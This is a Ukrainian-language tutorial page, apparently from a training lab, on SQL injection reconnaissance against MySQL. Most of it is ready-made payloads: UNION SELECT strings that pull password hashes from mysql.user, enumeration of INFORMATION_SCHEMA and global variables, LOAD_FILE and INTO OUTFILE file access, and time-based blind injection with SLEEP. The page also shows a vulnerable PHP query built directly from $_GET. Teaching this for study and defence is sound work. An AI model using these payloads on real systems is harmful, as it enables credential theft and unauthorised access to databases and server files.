Розвідка по базі даних

Сутність розвідки по базі даних полягає в отриманні відомостей з службових таблиць, а також різноманітних налагоджень оточення СУБД. Також можливе вилучення даних з інших таблиць бази даних, але такі дії ми розглядаємо як обходження авторизації.

Сценарій атаки базується на додаванні до легального запиту додаткових запитів, які звертаються до інших таблиць бази даних. Однією з можливостей є вживання оператору UNION. Наприклад, запит на публікації користувачів має вигляд
SELECT * FROM posts p WHERE p.id_user = '{$_GET['userid']}'
Поставивши за мету дізнатись про користувачів БД та їх облікові дані доповнимо запит наступним
' UNION SELECT host, user, password, null from mysql.user --%20
для спрощення набору можна скористатись посиланням
Доданок , null вирівнює кількість стовпчиків у першій та другій частинах запиту. Можливо, таких доданків буде більше.
У якості результату до таблиці публікацій буде додана інформація щодо даних користувача. Однак цілком можливо, що налагодження БД на сервері не дозволяють оперувати з таблицею mysql.user. У такому разі рушаємо далі

Якщо не вдається звернутись до таблиці mysql.user безпосередньо, то залишається можливість викликати функції оточення СУБД:
VERSION() - версія БД (СУБД)
DATABASE() - назва підключеної БД
USER() - логін користувача БД Додамо до запиту наступну послідовність
' UNION SELECT VERSION(), DATABASE(), USER(), null --%20
Аналогічно до попереднього, доданки , null вирівнюють кількість колонок і мають підбиратись окремо для кожної ін'єкції. посиланням

Глобальні змінні оточення СУБД:
tmpdir - директорія для тимчасових файлів
log_error - файл з помилками
datadir - директорія з данними БД
basedir - базова директорія
hostname - відомості про розміщення БД
Додамо до запиту наступну послідовність
' UNION @@GLOBAL.secure_file_priv, @@GLOBAL.hostname, @@GLOBAL.tmpdir, @@GLOBAL.basedir --%20
Знаючі вже кількість параметрів у запиті можемо не вживати вирівнювання , null, а відразу зазначити потрібну кількість змінних.

Службова база даних INFORMATION_SCHEMA та її таблиці: COLUMNS, TABLES, ROUTINES
TABLES - всі таблиці у БД
COLUMNS - всі колонки у всіх таблицях
ROUTINES - функції та процедури, створені користувачем
Додамо до запиту наступні послідовності:
' UNION SELECT table_name, table_type, engine, null FROM INFORMATION_SCHEMA.TABLES --%20
' UNION SELECT table_schema, table_name, column_name, null FROM INFORMATION_SCHEMA.COLUMNS --%20

SQL-Атаки на файлову систему
INTO OUTFILE - створення файлів
LOAD_FILE - читання файлів
Після розвідки системних змінних з'являються відомості про каталоги (директорії) файлової системи СУБД. Це може бути використано для запитів на файли. На даному сервері немає прав для доступу до файлів, запити приводятся як текст.
' INTO OUTFILE '/var/lib/mysql-files/outfile.txt' --%20
' UNION SELECT LOAD_FILE('/tmp/thefile.txt') --%20
У такий спосіб можна розвивати атаки типу DoS шляхом переповнення файлових лімітів (утворювати велику кількість файлів), або запитувати вміст службових файлів.

Розвідка наосліп (Blind SQL injection) дозволяє отримувати дані тоді, коли не вдається вивести результати запитів на сторінку. Сутність атаки полягає у впровадженні у запит умовного оператора, різні гілки якого мають різний час виконання. Затримка забезпечується оператором SLEEP. В залежності від часу оновлення сторінки нам стає відомо чи виконалась умова, чи ні.
Наступний запит містить умову, яка виконається (користувач admin є у БД). Цей запит призведе до тривалого (2 сек) завантаження сторінки
' AND (SELECT CASE WHEN (SELECT COUNT(1) FROM users u WHERE u.login='admin')=1 THEN SLEEP(2) ELSE 2 END)=1 --%20
А наступний запит виконається швидко, оскільки користувача admin2 у БД немає
' AND (SELECT CASE WHEN (SELECT COUNT(1) FROM users u WHERE u.login='admin2')=1 THEN SLEEP(2) ELSE 2 END)=1 --%20

Результат:

Authentication required

Технічні деталі: